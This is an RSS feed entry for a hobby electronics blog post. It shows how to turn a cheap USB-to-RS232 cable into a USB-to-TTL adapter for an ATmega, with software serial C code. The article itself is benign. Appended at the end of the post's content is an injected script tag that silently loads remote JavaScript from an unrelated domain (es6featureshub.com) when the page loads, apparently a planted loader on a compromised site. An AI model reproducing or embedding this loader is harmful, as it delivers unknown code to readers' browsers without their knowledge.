<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; atmega</title>
	<atom:link href="http://www.larsen-b.com/tags/atmega/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Really cheap USB to TTL on Atmega : 1.70$</title>
		<link>http://www.larsen-b.com/Article/370.html</link>
		<comments>http://www.larsen-b.com/Article/370.html#comments</comments>
		<pubDate>Sat, 11 Sep 2010 16:58:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[atmega]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=370</guid>
		<description><![CDATA[One of the most common way to interface a microcontroler to a computer used to be serial port. But right now, serial port have been replaced with USB on most computers. A common way to fix this issue is to &#8230; <a href="http://www.larsen-b.com/Article/370.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>One of the most common way to interface a microcontroler to a computer used to be serial port. But right now, serial port have been replaced with USB on most computers. A common way to fix this issue is to use a USB to TTL converter or a USB to RS232 converter + MAX232. That&#8217;s fine but :</p>
<ul>
<li>USB to TTL PCB cost a bit of money : you can find some on Ebay around 7€ (shipped) and 15$ on Sparfun !!!  That&#8217;s about 2 or 5 times the cost of the microcontoler !</li>
<li>USB to RS232 cost 1.70$ (shipped) but need some extra level shifting and doesn&#8217;t really feet on a PCB (need a DB9 connector &#8230;)</li>
</ul>
<p style="text-align: left;">In fact, USB to RS232 is a mass product, and the cost is really low. I decided to order a couple of this, just to look if I can use this stuff on a PCB. So I bought a 1.70$ USB to RS232 on Ebay.</p>
<p style="text-align: left;">
<p style="text-align: center;"><img class="aligncenter" title="USB to RS232" src="http://jkx.larsen-b.com/photos/blog/USB_to_RS_232_Cable.jpg" alt="" width="324" height="282" /></p>
<p>I decided to rip the plastic off the DB9 and discovered a really tiny PCB. I removed the DB9, and decided to pass this little PCB to a scope session. How the hell do they manage to do a USB to RS232 with only a couple of external components ? They is no big capacitor for level shifter  (remember  RS232 is a +12/-12v ) ? The answer is simple, they don&#8217;t !!</p>
<p>This device isn&#8217;t RS232 compliant at all, the signals on the DB9 are TTL compliant, but not RS232. The ouput is between 0/5V and the input can handle -12/+12V but works great with a 0/5V too. I simply removed used pads on one side and added a couple on pins.</p>
<p style="text-align: center;">
<p style="text-align: center;"><img class="aligncenter" title="USB to TTL cheap" src="http://jkx.larsen-b.com/photos/blog/usb_ttl_1.sized.jpg" alt="" width="460" height="640" /></p>
<p style="text-align: left;">
<p style="text-align: left;">Please note that RX pin is missing on this pix but needed of course. The next step : How can I use this with an AVR Atmega (I used a Atmega8 but any will do the trick). Serial connection on a micro is TTL like this board, but the TTL signal is just inverted. A &#8220;1&#8243; on the RS232 side is a -12V and +5V on a TTL, and a 0 on the RS232 side is a + 12V and a 0v on the TTL. You can find all the information <a href="http://www.arcelect.com/rs232.htm">here</a>.</p>
<p style="text-align: left;">In fact MAX232 do both level shitting and inverting, but as I&#8217;m to lazy to wire a MAX232 (and will destroy the cheap aspect of this hack), I decided to handle this by software. This mean, I won&#8217;t be able to use the Atmega serial builtin port but need to write some additional code, to do the RS232 encoding/decoding by hand. Let&#8217;s give it a try :</p>
<p style="text-align: left;">
<p style="text-align: left;"><img class="aligncenter" title="USB to RS232 Atmega" src="http://jkx.larsen-b.com/photos/blog/P9115024.sized.jpg" alt="" width="640" height="609" /></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">I simply put this on a verroboard, connect VCC to USB Vcc, GND, RX and TX  to random pins on the AVR and let&#8217;s go to RS232 software serial. This can be done easily in fact, and I managed to handle 19200bauds with the internal 8Mhz clock of the Atmega. Above you will find the popular uart_putc() and uart_getc() ..</p>
<pre><a name="line1"> 1</a> <span style="color: #0000ff;"><strong>#define UART_TX	D,1</strong></span>
<a name="line2"> 2</a> <span style="color: #0000ff;"><strong>#define UART_RX	D,2</strong></span>
<a name="line3"> 3</a> <span style="color: #0000ff;"><strong>#define UART_DELAY	52 // 1/9600 = 104uS : 1/19200 = 52uS</strong></span>
<a name="line4"> 4</a>
<a name="line5"> 5</a>
<a name="line6"> 6</a> <strong>void</strong> <span style="color: #2040a0;">uart_putc</span><span style="color: #4444ff;">(</span><strong>char</strong> <span style="color: #2040a0;">c</span><span style="color: #4444ff;">)</span>
<a name="line7"> 7</a> <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line8"> 8</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>
<a name="line9"> 9</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">temp</span><span style="color: #4444ff;">;</span>
<a name="line10">10</a>
<a name="line11">11</a>   // <span style="color: #2040a0;">start</span>
<a name="line12">12</a>   <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line13">13</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line14">14</a>   <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line15">15</a>
<a name="line16">16</a>   <strong>for</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">&lt;</span><span style="color: #ff0000;">8</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">)</span>
<a name="line17">17</a>   <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line18">18</a>     <span style="color: #2040a0;">temp</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">c</span><span style="color: #4444ff;">&amp;</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">;</span>
<a name="line19">19</a>     <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">temp</span><span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>
<a name="line20">20</a>       <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line21">21</a>     <strong>else</strong>
<a name="line22">22</a>       <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line23">23</a>     <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line24">24</a>
<a name="line25">25</a>      <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">&gt;</span><span style="color: #4444ff;">&gt;</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">;</span>
<a name="line26">26</a>   <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line27">27</a>
<a name="line28">28</a>   // <span style="color: #2040a0;">stop</span>
<a name="line29">29</a>   <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line30">30</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line31">31</a>   <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line32">32</a>
<a name="line33">33</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line34">34</a> <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line35">35</a>
<a name="line36">36</a> <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">uart_getc</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<a name="line37">37</a> <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line38">38</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>
<a name="line39">39</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<a name="line40">40</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">currentChar</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<a name="line41">41</a>
<a name="line42">42</a>   <strong>while</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span>
<a name="line43">43</a>     <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">get_input</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_RX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line44">44</a>
<a name="line45">45</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span>/<span style="color: #ff0000;">2</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> // <span style="color: #2040a0;">middle</span> <span style="color: #2040a0;">of</span> <span style="color: #2040a0;">the</span> <span style="color: #2040a0;">start</span> <span style="color: #2040a0;">bit</span>
<a name="line46">46</a>   <strong>for</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">&lt;</span><span style="color: #ff0000;">8</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">)</span>
<a name="line47">47</a>     <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line48">48</a>       <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line49">49</a>       <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">get_input</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_RX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line50">50</a>
<a name="line51">51</a>       <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>
<a name="line52">52</a> 	<span style="color: #2040a0;">currentChar</span> <span style="color: #4444ff;">|</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">&lt;</span><span style="color: #4444ff;">&lt;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span> // <span style="color: #2040a0;">this</span> <span style="color: #2040a0;">is</span> <span style="color: #2040a0;">a</span> <span style="color: #ff0000;">1</span>
<a name="line53">53</a>     <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line54">54</a>   <strong>return</strong> <span style="color: #2040a0;">currentChar</span><span style="color: #4444ff;">;</span>
<a name="line55">55</a> <span style="color: #4444ff;"><strong>}</strong></span></pre>
<p style="text-align: left;">
<p style="text-align: left;">Nothing more to say, this hack works really great, and I can now build a bunch of USB board without paying so much. The only drawback of this approach is that you can&#8217;t use an interrupt for the uart_getc() so you have deal with that in your code. Another approach would use a single transistor for the RX pin to make the RX compliant w/ the AVR serial builtin routine.</p>
<p style="text-align: left;">
<p style="text-align: left;">You can find the whole project C files + Makefile in a zip <a href="http://www.larsen-b.com/wp-content/uploads/avr-soft-serial.zip">here</a>. I think this little hack is really useful, so please send it to all to your DIYer friends, this can save them money, time &#8230;</p>
<p style="text-align: left;">
<p style="text-align: left;"><strong>// Enjoy cheap USB ? :)</strong></p>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/370.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>
